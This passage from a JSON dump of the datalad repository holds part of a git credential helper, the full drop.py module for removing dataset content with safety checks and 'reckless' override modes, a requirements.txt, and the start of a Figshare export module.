\\\"{pr}://{h}{p}.*\\\".format(pr=attrs.get('protocol'),\\n h=attrs.get('host'),\\n p=\\\"/\\\" + attrs.get('path')\\n if \\\"path\\\" in attrs.keys() else \\\"\\\")\\n name = attrs.get('host')\\n credential_name = name\\n credential_type = \\\"user_password\\\"\\n if not interactive:\\n\\n # TODO: What about credential labels? This could already exist as\\n # well. However, it's unlikely since the respective\\n # \\\"service name\\\" for keyring is prepended with \\\"datalad-\\\".\\n # For the same reason of how the keyring system is used by\\n # datalad it's not very transparently accessible what labels\\n # we'd need to check for. Rather than encoding knowledge about\\n # datalad's internal handling here, let's address that in\\n # datalad's provider and credential classes and have an easy\\n # check to be called from here.\\n if any(p.name == name for p in providers):\\n print(f\\\"Provider name '{name}' already exists. This can't be \\\"\\n \\\"resolved in non-interactive mode.\\\",\\n file=sys.stderr)\\n\\n authenticator_class = AUTHENTICATION_TYPES[authentication_type]\\n saved_provider = providers._store_new(\\n url=attrs.get('url'),\\n authentication_type=authentication_type,\\n authenticator_class=authenticator_class,\\n url_re=url_re,\\n name=name,\\n credential_name=credential_name,\\n credential_type=credential_type,\\n level='user'\\n )\\n else:\\n # use backend made for annex special remotes for interaction from a\\n # subprocess whose stdin/stdout are in use for communication with\\n # its parent\\n from datalad.ui import ui\\n ui.set_backend('annex')\\n\\n # ensure default is first in list (that's how `enter_new` determines\\n # it's the default)\\n auth_list = AUTHENTICATION_TYPES.copy()\\n auth_list.pop(authentication_type, None)\\n auth_list = [authentication_type] + list(auth_list.keys())\\n\\n saved_provider = providers.enter_new(\\n url=attrs.get('url'),\\n auth_types=auth_list,\\n url_re=url_re,\\n name=name,\\n credential_name=credential_name,\\n credential_type=credential_type)\\n saved_provider.credential.set(user=attrs['username'],\\n password=attrs['password'])\\n\\n\\ndef _action_get(attrs, providers):\\n # query datalad and report if it knows anything, or be silent\\n # git handles the rest\\n provider = providers.get_provider(attrs['url'],\\n only_nondefault=True)\\n if provider is None \\\\\\n or provider.credential is None \\\\\\n or not isinstance(provider.credential, UserPassword):\\n # datalad doesn't know or only has a non UserPassword credential for\\n # this URL - create empty entry\\n dlcred = UserPassword()\\n else:\\n dlcred = provider.credential\\n # Safeguard against circular querying. We are a git-credential-helper.\\n # If we find a datalad credential that tells DataLad to query Git, we\\n # need to ignore it. Otherwise we'd end up right here again.\\n if isinstance(provider.credential, GitCredential):\\n # Just return the unchanged description we got from Git\\n for k, v in attrs.items():\\n print('{}={}'.format(k, v))\\n return\\n\\n for dlk, gitk in (('user', 'username'), ('password', 'password')):\\n val = dlcred.get(dlk)\\n if val is not None:\\n print('{}={}'.format(gitk, val))\\n\"\n },\n {\n \"alpha_fraction\": 0.5610083937644958,\n \"alphanum_fraction\": 0.5615088939666748,\n \"avg_line_length\": 37.24282455444336,\n \"blob_id\": \"73e3990ab1c7bd43b2280cf534a62a3856ed1d86\",\n \"content_id\": \"8bc7047e37499c2097e30bda41a373f4540f60b8\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 31971,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 836,\n \"path\": \"/datalad/distributed/drop.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"High-level interface for dropping dataset content\\n\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport logging\\nfrom itertools import chain\\nimport warnings\\n\\nfrom datalad.core.local.status import get_paths_by_ds\\nfrom datalad.distribution.dataset import (\\n Dataset,\\n EnsureDataset,\\n datasetmethod,\\n require_dataset,\\n)\\nfrom datalad.interface.base import (\\n Interface,\\n build_doc,\\n eval_results,\\n)\\nfrom datalad.interface.common_opts import (\\n jobs_opt,\\n recursion_flag,\\n recursion_limit,\\n)\\nfrom datalad.interface.results import (\\n annexjson2result,\\n results_from_annex_noinfo,\\n success_status_map,\\n)\\nfrom datalad.runner.exception import CommandError\\nfrom datalad.support.annexrepo import AnnexRepo\\nfrom datalad.support.constraints import (\\n EnsureChoice,\\n EnsureNone,\\n EnsureStr,\\n)\\nfrom datalad.support.exceptions import CapturedException\\nfrom datalad.support.param import Parameter\\nfrom datalad.utils import (\\n ensure_list,\\n rmtree,\\n)\\n\\nlgr = logging.getLogger('datalad.distributed.drop')\\n\\n\\n@build_doc\\nclass Drop(Interface):\\n \\\"\\\"\\\"Drop content of individual files or entire (sub)datasets\\n\\n This command is the antagonist of 'get'. It can undo the retrieval of file\\n content, and the installation of subdatasets.\\n\\n Dropping is a safe-by-default operation. Before dropping any information,\\n the command confirms the continued availability of file-content (see e.g.,\\n configuration 'annex.numcopies'), and the state of all dataset branches\\n from at least one known dataset sibling. Moreover, prior removal of an\\n entire dataset annex, that it is confirmed that it is no longer marked\\n as existing in the network of dataset siblings.\\n\\n Importantly, all checks regarding version history availability and local\\n annex availability are performed using the current state of remote\\n siblings as known to the local dataset. This is done for performance\\n reasons and for resilience in case of absent network connectivity. To\\n ensure decision making based on up-to-date information, it is advised to\\n execute a dataset update before dropping dataset components.\\n \\\"\\\"\\\"\\n _examples_ = [\\n {'text': \\\"Drop single file content\\\",\\n 'code_py': \\\"drop('path/to/file')\\\",\\n 'code_cmd': \\\"datalad drop <path/to/file>\\\"},\\n {'text': \\\"Drop all file content in the current dataset\\\",\\n 'code_py': \\\"drop('.')\\\",\\n 'code_cmd': \\\"datalad drop\\\"},\\n {'text': \\\"Drop all file content in a dataset and all its subdatasets\\\",\\n 'code_py': \\\"drop(dataset='.', recursive=True)\\\",\\n 'code_cmd': \\\"datalad drop -d <path/to/dataset> -r\\\"},\\n {'text': \\\"Disable check to ensure the configured minimum number of \\\"\\n \\\"remote sources for dropped data\\\",\\n 'code_py': \\\"drop(path='path/to/content', reckless='availability')\\\",\\n 'code_cmd': \\\"datalad drop <path/to/content> --reckless availability\\\"},\\n {'text': 'Drop (uninstall) an entire dataset '\\n '(will fail with subdatasets present)',\\n 'code_py': \\\"drop(what='all')\\\",\\n 'code_cmd': \\\"datalad drop --what all\\\"},\\n {'text': 'Kill a dataset recklessly with any existing subdatasets too'\\n '(this will be fast, but will disable any and all safety '\\n 'checks)',\\n 'code_py': \\\"drop(what='all', reckless='kill', recursive=True)\\\",\\n 'code_cmd': \\\"datalad drop --what all, --reckless kill --recursive\\\"},\\n ]\\n\\n _params_ = dict(\\n dataset=Parameter(\\n args=(\\\"-d\\\", \\\"--dataset\\\"),\\n metavar=\\\"DATASET\\\",\\n doc=\\\"\\\"\\\"specify the dataset to perform drop from.\\n If no dataset is given, the current working directory is used\\n as operation context\\\"\\\"\\\",\\n constraints=EnsureDataset() | EnsureNone()),\\n path=Parameter(\\n args=(\\\"path\\\",),\\n metavar=\\\"PATH\\\",\\n doc=\\\"path of a dataset or dataset component to be dropped\\\",\\n nargs=\\\"*\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n reckless=Parameter(\\n args=(\\\"--reckless\\\",),\\n doc=\\\"\\\"\\\"disable individual or all data safety measures that would\\n normally prevent potentially irreversible data-loss.\\n With 'modification', unsaved modifications in a dataset will not be\\n detected. This improves performance at the cost of permitting\\n potential loss of unsaved or untracked dataset components.\\n With 'availability', detection of dataset/branch-states that are\\n only available in the local dataset, and detection of an\\n insufficient number of file-content copies will be disabled.\\n Especially the latter is a potentially expensive check which might\\n involve numerous network transactions.\\n With 'undead', detection of whether a to-be-removed local annex is\\n still known to exist in the network of dataset-clones is disabled.\\n This could cause zombie-records of invalid file availability.\\n With 'kill', all safety-checks are disabled.\\\"\\\"\\\",\\n constraints=EnsureChoice(\\n 'modification', 'availability', 'undead', 'kill', None)),\\n what=Parameter(\\n args=(\\\"--what\\\",),\\n doc=\\\"\\\"\\\"select what type of items shall be dropped.\\n With 'filecontent', only the file content (git-annex keys) of files\\n in a dataset's worktree will be dropped.\\n With 'allkeys', content of any version of any file in any branch\\n (including, but not limited to the worktree) will be dropped. This\\n effectively empties the annex of a local dataset.\\n With 'datasets', only complete datasets will be dropped (implies\\n 'allkeys' mode for each such dataset), but no filecontent will be\\n dropped for any files in datasets that are not dropped entirely.\\n With 'all', content for any matching file or dataset will be dropped\\n entirely.\\n \\\"\\\"\\\",\\n # TODO add 'unwanted'\\n constraints=EnsureChoice('filecontent', 'allkeys', 'datasets', 'all')),\\n recursive=recursion_flag,\\n recursion_limit=recursion_limit,\\n jobs=jobs_opt,\\n check=Parameter(\\n args=(\\\"--nocheck\\\",),\\n doc=\\\"\\\"\\\"DEPRECATED: use '--reckless availability'\\\"\\\"\\\",\\n action=\\\"store_false\\\",\\n dest='check'),\\n if_dirty=Parameter(\\n args=(\\\"--if-dirty\\\",),\\n doc=\\\"\\\"\\\"DEPRECATED and IGNORED: use --reckless instead\\\"\\\"\\\",),\\n )\\n\\n @staticmethod\\n @datasetmethod(name='drop')\\n @eval_results\\n def __call__(\\n path=None,\\n *,\\n what='filecontent',\\n reckless=None,\\n dataset=None,\\n recursive=False,\\n recursion_limit=None,\\n jobs=None,\\n # deprecated\\n check=None,\\n if_dirty=None):\\n\\n # TODO if reckless is None, initialize from a potential config setting\\n # left behind by a reckless clone\\n\\n # proper spelling of mode switches is critical for implementation\\n # below. double-check, also in Python API usage\\n # TODO consider making a generic helper\\n for label, value in (('what', what), ('reckless', reckless)):\\n try:\\n Drop._params_[label].constraints(value)\\n except ValueError as e:\\n raise ValueError(\\n f\\\"Invalid '{label}' parameter value of: \\\"\\n f\\\"{repr(value)} [{str(e)}]\\\") from e\\n\\n if check is not None:\\n warnings.warn(\\n \\\"The `check` argument of `datalad drop` is deprecated, \\\"\\n \\\"use the `reckless` argument instead.\\\",\\n DeprecationWarning)\\n if if_dirty is not None:\\n warnings.warn(\\n \\\"The `if_dirty` argument of `datalad drop` is ignored, \\\"\\n \\\"it can be removed for a safe-by-default behavior. For \\\"\\n \\\"other cases consider the `reckless` argument.\\\",\\n DeprecationWarning)\\n\\n if check is False:\\n if reckless is not None:\\n raise ValueError(\\n 'Must not use deprecated `check` argument, and new '\\n '`reckless` argument together with `datalad drop`.')\\n reckless = 'availability'\\n\\n if what in ('all', 'datasets') and reckless == 'kill' and not recursive:\\n raise ValueError(\\n 'A reckless kill is requested but no recursion flag is set. '\\n \\\"With 'kill' no checks for subdatasets will be made, \\\"\\n 'acknowledge by setting the recursive flag')\\n\\n # we cannot test for what=='allkeys' and path==None here,\\n # on per each dataset. otherwise we will not be able to drop\\n # from a subdataset, by given its path -- desirable MIH thinks\\n\\n ds = require_dataset(dataset, check_installed=True, purpose='drop')\\n\\n res_props = dict(\\n logger=lgr,\\n refds=ds.path,\\n )\\n # if not paths are given, there will still be a single dataset record\\n # with paths==None\\n paths_by_ds, errors = get_paths_by_ds(\\n ds,\\n dataset,\\n ensure_list(path),\\n # XXX this needs more thought!! Maybe this is what the mode should be\\n # in general?!\\n # when we want to drop entire datasets, it is much more useful\\n # to have subdatasets be their own record\\n subdsroot_mode='sub'\\n if what in ('all', 'datasets')\\n else 'rsync',\\n )\\n for e in errors:\\n yield dict(\\n action='drop',\\n path=str(e),\\n status='error',\\n message=('path not underneath the reference dataset %s', ds),\\n **res_props)\\n # we are not returning, a caller could decide on failure mode\\n\\n if what in ('all', 'datasets') and _paths_atunder_dir(\\n paths_by_ds, ds.pathobj.cwd()):\\n raise RuntimeError(\\n 'refuse to perform actions that would remove the current '\\n 'working directory')\\n\\n lgr.debug('Discovered %i datasets to drop (from)', len(paths_by_ds))\\n\\n # a dataset paths are normalized and guaranteed to be under the same\\n # root dataset\\n # we want to start from the leave datasets, such that all discovered\\n # dataset can be processed independently\\n for dpath in sorted(paths_by_ds.keys(), reverse=True):\\n d = Dataset(dpath)\\n lgr.debug('Starting to drop %s at %s', what, d)\\n for res in _drop_dataset(\\n d,\\n paths_by_ds[dpath],\\n what=what,\\n reckless=reckless,\\n # recursion from any of the given paths!\\n recursive=recursive,\\n recursion_limit=recursion_limit,\\n jobs=jobs):\\n yield dict(res, **res_props)\\n lgr.debug('Finished dropping %s at %s', what, d)\\n return\\n\\n\\ndef _paths_atunder_dir(pbd, dirpath):\\n \\\"\\\"\\\"Whether any of the paths is at or under a reference path\\n\\n Parameters\\n ----------\\n pbd: dict\\n Dataset path dict is produced by get_paths_by_ds()\\n dirpath: Path\\n Reference path\\n\\n Returns\\n -------\\n bool\\n \\\"\\\"\\\"\\n for dpath, paths in pbd.items():\\n for p in ([dpath] if paths is None else paths):\\n if p == dirpath or p in dirpath.parents:\\n return True\\n return False\\n\\n\\ndef _drop_dataset(ds, paths, what, reckless, recursive, recursion_limit, jobs):\\n lgr.debug('Start dropping for %s', ds)\\n # we know that any given path is part of `ds` and not any of its\\n # subdatasets!\\n\\n # by-passing this completely with reckless=kill\\n if recursive and not reckless == 'kill':\\n # process subdatasets first with recursion\\n for sub in ds.subdatasets(\\n # must be resolved!\\n path=paths or None,\\n # nothing to drop with unavailable subdatasets\\n state='present',\\n # we can use the full recursion depth, only the first layer\\n # of calls to _drop_dataset() must/can have recursive=True\\n recursive=recursive,\\n recursion_limit=recursion_limit,\\n # start reporting with the leaves\\n bottomup=True,\\n result_xfm='datasets',\\n on_failure='ignore',\\n return_type='generator',\\n result_renderer='disabled'):\\n yield from _drop_dataset(\\n ds=sub,\\n # everything, the entire subdataset is matching a given path\\n paths=None,\\n what=what,\\n reckless=reckless,\\n recursive=False,\\n recursion_limit=None,\\n jobs=jobs)\\n\\n if not ds.pathobj.exists():\\n # basic protection against something having wiped it out already.\\n # should not happen, but better than a crash, if it does\\n yield dict(\\n action='drop',\\n path=ds.path,\\n status='notneeded',\\n message=\\\"does not exist\\\",\\n type='dataset',\\n )\\n return\\n\\n if paths is not None and paths != [ds.pathobj] and what == 'all':\\n if recursive and reckless == 'kill':\\n # check if any paths contains a subdataset, and if so, drop it to\\n # ensure its not left behind\\n for sub in ds.subdatasets(\\n # just check for subds at the provided path\\n path=paths,\\n state='present',\\n recursive=recursive,\\n recursion_limit=recursion_limit,\\n result_xfm='datasets',\\n on_failure='ignore',\\n return_type='generator',\\n result_renderer='disabled'):\\n if sub is not None:\\n # there is a subdataset underneath the given path\\n yield from _drop_dataset(\\n ds=sub,\\n # everything underneath the subds can go\\n paths=None,\\n what=what,\\n reckless=reckless,\\n recursive=False,\\n recursion_limit=None,\\n jobs=jobs)\\n # so we have paths constraints that prevent dropping the full dataset\\n lgr.debug('Only dropping file content for given paths in %s, '\\n 'allthough instruction was to drop %s', ds, what)\\n what = 'filecontent'\\n\\n repo = ds.repo\\n is_annex = isinstance(repo, AnnexRepo)\\n\\n # first critical checks that might prevent further operation\\n had_fatality = False\\n for res in _fatal_pre_drop_checks(\\n ds, repo, paths, what, reckless, is_annex):\\n had_fatality = True\\n yield res\\n if had_fatality:\\n return\\n\\n # next check must come AFTER the modification checks above, otherwise\\n # remove() could not rely on the modification detection above\\n if paths is not None and paths != [ds.pathobj] and what == 'datasets':\\n # so we have paths constraints that prevent dropping the full dataset\\n # there is nothing to do here, but to drop keys, which we must not\\n # done\\n return\\n\\n # now conditional/informative checks\\n yield from _pre_drop_checks(ds, repo, paths, what, reckless, is_annex)\\n\\n if is_annex and what == 'filecontent':\\n yield from _drop_files(\\n ds,\\n repo,\\n # give paths or '.' with no constraint\\n paths=[str(p.relative_to(ds.pathobj))\\n for p in paths] if paths else '.',\\n force=reckless in ('availability', 'kill'),\\n jobs=jobs,\\n )\\n # end it here for safety, the rest of the function deals with\\n # dropping more and more fundamentally\\n return\\n\\n drop_all_errored = False\\n if is_annex and what in ('allkeys', 'datasets', 'all') \\\\\\n and not reckless == 'kill':\\n for r in _drop_allkeys(\\n ds,\\n repo,\\n force=reckless in ('availability',),\\n jobs=jobs):\\n res = dict(\\n action='drop',\\n type='key',\\n # use the path of the containing dataset\\n # using the location of the key does not add any\\n # practical value, and is expensive to obtain\\n path=ds.path,\\n status='ok' if r.get('success') else 'error',\\n key=r.get('key'),\\n )\\n # pull any note, and rename recommended parameter to\\n # avoid confusion\\n message = r.get('note', '').replace(\\n '--force',\\n '--reckless availability')\\n if message:\\n res['message'] = message\\n error_messages = r.get('error-messages')\\n if error_messages:\\n res['error_message'] = '\\\\n'.join(\\n m.strip() for m in error_messages\\n )\\n # play safe, if there is no status, assume error\\n if res.get('status', 'error') != 'ok':\\n drop_all_errored = True\\n yield res\\n\\n if drop_all_errored:\\n # end it here, if there is any indication that wiping out the\\n # repo is unsafe\\n return\\n\\n if what in ('all', 'datasets'):\\n yield from _kill_dataset(ds)\\n lgr.debug('Done dropping for %s', ds)\\n return\\n\\n\\ndef _fatal_pre_drop_checks(ds, repo, paths, what, reckless, is_annex):\\n if what == 'allkeys' and paths is not None \\\\\\n and paths != [ds.pathobj]:\\n yield dict(\\n action='drop',\\n path=ds.path,\\n type='dataset',\\n status='impossible',\\n message=(\\n 'cannot drop %s, with path constraints given: %s',\\n what, paths),\\n )\\n return\\n\\n if what in ('all', 'datasets') and not reckless == 'kill':\\n # we must not have subdatasets anymore\\n # if we do, --recursive was forgotten\\n subdatasets = ds.subdatasets(\\n path=paths,\\n # we only care about the present ones\\n state='present',\\n # first-level is enough, if that has none, there will be none\\n recursive=False,\\n result_xfm='paths',\\n result_renderer='disabled')\\n if subdatasets:\\n yield dict(\\n action='uninstall',\\n path=ds.path,\\n type='dataset',\\n status='error',\\n message=('cannot drop dataset, subdataset(s) still present '\\n '(forgot --recursive?): %s', subdatasets)\\n )\\n # this is fatal\\n return\\n\\n if what in ('all', 'datasets') \\\\\\n and reckless not in ('availability', 'kill') \\\\\\n and (paths is None or paths == [ds.pathobj]):\\n unpushed = _detect_unpushed_revs(repo, is_annex)\\n if unpushed:\\n yield dict(\\n action='uninstall',\\n path=ds.path,\\n type='dataset',\\n status='error',\\n message=(\\n \\\"to-be-dropped dataset has revisions that \\\"\\n \\\"are not available at any known sibling. Use \\\"\\n \\\"`datalad push --to ...` to push \\\"\\n \\\"these before dropping the local dataset, \\\"\\n \\\"or ignore via `--reckless availability`. \\\"\\n \\\"Unique revisions: %s\\\",\\n unpushed)\\n )\\n # this is fatal\\n return\\n\\n if is_annex and what in ('all', 'datasets') \\\\\\n and reckless not in ('undead', 'kill'):\\n # this annex is about to die, test if it is still considered\\n # not-dead. if so, complain to avoid generation of zombies\\n # (annexed that are floating around, but are actually dead).\\n # if repo.uuid is None, git annex init never ran, and we can skip this\\n remotes_that_know_this_annex = None if repo.uuid is None else [\\n r\\n for r in _detect_nondead_annex_at_remotes(repo, repo.uuid)\\n # filter out \\\"here\\\"\\n if r is not None\\n ]\\n if remotes_that_know_this_annex:\\n yield dict(\\n action='uninstall',\\n path=ds.path,\\n type='dataset',\\n status='error',\\n message=(\\n \\\"to-be-deleted local annex not declared 'dead' at the \\\"\\n \\\"following siblings. Announce death \\\"\\n \\\"(`git annex dead here` + `datalad push --to ...`), \\\"\\n \\\"or ignore via `--reckless undead`: %s\\\",\\n remotes_that_know_this_annex)\\n )\\n # this is fatal\\n return\\n\\n if reckless not in ('modification', 'kill'):\\n # do a cheaper status run to discover any kind of modification and\\n # generate results based on the `what` mode of operation\\n for res in ds.status(\\n path=paths,\\n # untracked content will not be reported on further down\\n # must catch it here\\n untracked='normal',\\n # downstream code can handle non-annex/annex distinction\\n # avoid expensive evaluation here\\n annex=False,\\n # we only need to inspect a subdataset's state in case\\n # we want to drop it completely\\n eval_subdataset_state='commit'\\n if what in ('all', 'datasets') else 'no',\\n # recursion is handled outside this function\\n recursive=False,\\n result_renderer='disabled',\\n return_type='generator',\\n on_failure='ignore'):\\n state = res.get('state')\\n if state == 'clean':\\n # nothing to worry about, nothing to communicate\\n continue\\n elif state in ('modified', 'untracked'):\\n yield dict(\\n res,\\n status='impossible',\\n action='drop',\\n message=f'cannot drop {state} content, save first',\\n )\\n # we are not aborting nevetheless. in normal conditions\\n # the above result will stop processing, but if desired\\n # we could go on\\n else:\\n lgr.debug(\\n 'Status record not considered for drop '\\n 'state inspection: %s', res)\\n\\n\\ndef _pre_drop_checks(ds, repo, paths, what, reckless, is_annex):\\n if not is_annex and reckless not in ('datasets', 'kill'):\\n # we cannot drop content in non-annex repos, issue same\\n # 'notneeded' as for git-file in annex repo\\n for p in paths or [ds.path]:\\n yield dict(\\n action='drop',\\n path=str(p),\\n status='notneeded',\\n message=\\\"no annex'ed content\\\",\\n )\\n # continue, this is nothing fatal\\n\\n if not is_annex and what in ('allkeys', 'unwanted') \\\\\\n and not reckless == 'kill':\\n # these drop modes are meaningless without an annex\\n yield dict(\\n action='drop',\\n path=ds.path,\\n status='notneeded',\\n message=\\\"dataset with no annex\\\",\\n type='dataset',\\n )\\n # continue, this is nothing fatal\\n\\n\\ndef _detect_unpushed_revs(repo, consider_managed_branches):\\n \\\"\\\"\\\"Check if all local branch states (and HEAD) are available at a remote\\n\\n There need not be a 1:1 correspondence. What is tested is whether\\n each commit corresponding to a local branch tip (or HEAD), is also an\\n ancestor of any remote branch. It is not required that there is a single\\n remote that has all commits.\\n\\n This only uses the state of remotes known to the local remote state.\\n No remote synchronization is performed.\\n\\n Parameters\\n ----------\\n repo: GitRepo\\n Repository to evaluated\\n consider_managed_branches: bool\\n Whether to enable handling of managed branches.\\n\\n Returns\\n -------\\n list\\n Names of local states/refs that are no available at a remote.\\n \\\"\\\"\\\"\\n if consider_managed_branches:\\n # consolidate corresponding branches to get reliable detection\\n repo.localsync(managed_only=True)\\n # we do not want to check this for any managed branches\\n # that are not meant to be pushed without consolidation\\n # or even at all (incl. git-annex, it can behave in complex ways)\\n local_refs = [\\n lb for lb in repo.get_branches()\\n if not (not consider_managed_branches\\n or lb == 'git-annex' or repo.is_managed_branch(lb))]\\n if not repo.get_active_branch():\\n # check for HEAD, in case we are on a detached HEAD\\n local_refs.append('HEAD')\\n # extend to tags?\\n remote_refs = repo.get_remote_branches()\\n\\n unpushed_refs = [\\n local_ref\\n for local_ref in local_refs\\n if not any(repo.is_ancestor(local_ref, remote_ref)\\n for remote_ref in remote_refs)\\n ]\\n return unpushed_refs\\n\\n\\ndef _detect_nondead_annex_at_remotes(repo, annex_uuid):\\n \\\"\\\"\\\"Return list of remote names that know about a given (not-dead) annex\\n\\n This only uses the state of remotes known to the local remote state.\\n No remote synchronization is performed.\\n\\n Parameters\\n ----------\\n repo: AnnexRepo or GitRepo\\n Repository to evaluated\\n annex_uuid: str\\n UUID string of a particular annex\\n\\n Returns\\n -------\\n list\\n Names of any matching remote, the local repository is indicated using\\n a `None` label.\\n \\\"\\\"\\\"\\n # build the refs for all remotes and local\\n remotes_w_registration = []\\n for remote in chain([''], repo.get_remotes()):\\n refprefix = '{}{}git-annex:'.format(\\n remote,\\n '/' if remote else '',\\n )\\n uuid_known = False\\n try:\\n for line in repo.call_git_items_(\\n ['cat-file', '-p', refprefix + 'uuid.log']):\\n if line.startswith(annex_uuid):\\n # use None to label the local repo\\n uuid_known = True\\n break\\n except CommandError as e:\\n CapturedException(e)\\n # this is not a problem per-se, logged above, just continue\\n continue\\n if not uuid_known:\\n # if an annex id is not even in the uuid.log, we can stop here\\n # (for this remote)\\n continue\\n\\n # annex is known, but maybe is declared dead already, must check\\n # trust.log in addition\\n try:\\n for line in repo.call_git_items_(\\n ['cat-file', '-p', refprefix + 'trust.log']):\\n columns = line.split()\\n if columns[0] == annex_uuid:\\n # not known if dead\\n uuid_known = False if columns[1] == 'X' else True\\n break\\n except CommandError as e:\\n CapturedException(e)\\n # this is not a problem per-se, logged above, just continue\\n continue\\n finally:\\n if uuid_known:\\n remotes_w_registration.append(remote or None)\\n return(remotes_w_registration)\\n\\n\\ndef _kill_dataset(ds):\\n \\\"\\\"\\\"This is a harsh internal helper: it will wipe out a dataset, no checks\\n \\\"\\\"\\\"\\n # figure out whether we should be nice to a superdataset later on\\n has_super = ds.get_superdataset(topmost=False, registered_only=True)\\n # Close any possibly associated process etc with underlying repo.\\n # Otherwise - rmtree could fail to remove e.g. under NFS which would\\n # still have some files opened by them (thus having .nfs00000xxxx\\n # files) forbidding rmdir to work in rmtree\\n ds.close()\\n rmtree(ds.path)\\n # invalidate loaded ConfigManager -- datasets are singletons!!\\n ds._cfg = None\\n if has_super:\\n # recreate an empty mountpoint to make Git happier\\n ds.pathobj.mkdir(exist_ok=True)\\n yield dict(\\n # keep uninstall to please the gods of a distant past\\n #action='drop',\\n action='uninstall',\\n path=ds.path,\\n type='dataset',\\n status='ok',\\n )\\n\\n\\ndef _drop_allkeys(ds, repo, force=False, jobs=None):\\n \\\"\\\"\\\"\\n \\\"\\\"\\\"\\n assert not (repo.dot_git / 'annex').is_symlink(), \\\\\\n \\\"Dropping from a symlinked annex is unsupported to prevent data-loss\\\"\\n\\n cmd = ['drop', '--all']\\n if force:\\n cmd.append('--force')\\n if jobs:\\n cmd.extend(['--jobs', str(jobs)])\\n\\n try:\\n yield from repo._call_annex_records_items_(cmd)\\n except CommandError as e:\\n # pick up the results captured so far and yield them\\n # the error will be amongst them\\n yield from e.kwargs.get('stdout_json', [])\\n\\n\\ndef _drop_files(ds, repo, paths, force=False, jobs=None):\\n \\\"\\\"\\\"Helper to drop content in datasets.\\n\\n Parameters\\n ----------\\n repo : AnnexRepo\\n paths : list\\n for which files to drop content\\n check : bool\\n whether to instruct annex to perform minimum copy availability\\n checks\\n\\n Yields\\n ------\\n dict\\n \\\"\\\"\\\"\\n assert not (repo.dot_git / 'annex').is_symlink(), \\\\\\n \\\"Dropping from a symlinked annex is unsupported to prevent data-loss\\\"\\n cmd = ['drop']\\n if force:\\n cmd.append('--force')\\n if jobs:\\n cmd.extend(['--jobs', str(jobs)])\\n\\n respath_by_status = {}\\n try:\\n yield from (\\n _postproc_annexdrop_result(res, respath_by_status, ds)\\n for res in repo._call_annex_records_items_(cmd, files=paths)\\n )\\n except CommandError as e:\\n # pick up the results captured so far and yield them\\n # the error will be amongst them\\n yield from (\\n _postproc_annexdrop_result(res, respath_by_status, ds)\\n for res in e.kwargs.get('stdout_json', [])\\n )\\n # report on things requested that annex was silent about\\n for r in results_from_annex_noinfo(\\n ds, paths, respath_by_status,\\n dir_fail_msg='could not drop some content in %s %s',\\n noinfo_dir_msg='nothing to drop from %s',\\n noinfo_file_msg=\\\"no annex'ed content\\\"):\\n r['action'] = 'drop'\\n yield r\\n\\n\\ndef _postproc_annexdrop_result(res, respath_by_status, ds, **kwargs):\\n res = annexjson2result(\\n # annex reports are always about files\\n res, ds, type='file', **kwargs)\\n success = success_status_map[res['status']]\\n respath_by_status[success] = \\\\\\n respath_by_status.get(success, []) + [res['path']]\\n if res[\\\"status\\\"] == \\\"error\\\" and res[\\\"action\\\"] == \\\"drop\\\":\\n msg = res.get(\\\"message\\\", None)\\n if isinstance(msg, str) and \\\"Use --force to\\\" in msg:\\n # Avoid confusing datalad-drop callers with git-annex-drop's\\n # suggestion to use --force.\\n # Just mention reckless itself, do not go into the details\\n # of which mode. This is likely changing over time and\\n # adjusting this replacement will be forgotten.\\n res[\\\"message\\\"] = msg.replace(\\n \\\"--force\\\",\\n \\\"--reckless availability\\\")\\n return res\\n\"\n },\n {\n \"alpha_fraction\": 0.7138964533805847,\n \"alphanum_fraction\": 0.7138964533805847,\n \"avg_line_length\": 32.3636360168457,\n \"blob_id\": \"32a656392bbf384e35c7c589d400a33c5ffedcb9\",\n \"content_id\": \"ce7031e315742bda954c89b6b81aea1e6ed996f6\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Text\",\n \"length_bytes\": 367,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 11,\n \"path\": \"/requirements.txt\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# If you want to develop, use requirements-devel.txt\\n\\n# Theoretically we don't want -e here but ATM pip would puke if just .[full] is provided\\n# TODO -- figure it out and/or complain to pip folks\\n# -e .[full]\\n\\n# this one should work but would copy entire . tree so should be ran on a clean copy\\n.[full]\\n\\n# doesn't install datalad itself\\n# file://.#egg=datalad[full]\\n\"\n },\n {\n \"alpha_fraction\": 0.5536975264549255,\n \"alphanum_fraction\": 0.5550966262817383,\n \"avg_line_length\": 37.78553009033203,\n \"blob_id\": \"1465b114eb2ff64722675fa4fdba08d11ad32b14\",\n \"content_id\": \"81e24edd8e99e5b93b11a52de75eec1151de082e\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 15010,\n \"license_type\": \"permissive\",\n \"max_line_length\": 90,\n \"num_lines\": 387,\n \"path\": \"/datalad/distributed/export_to_figshare.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### 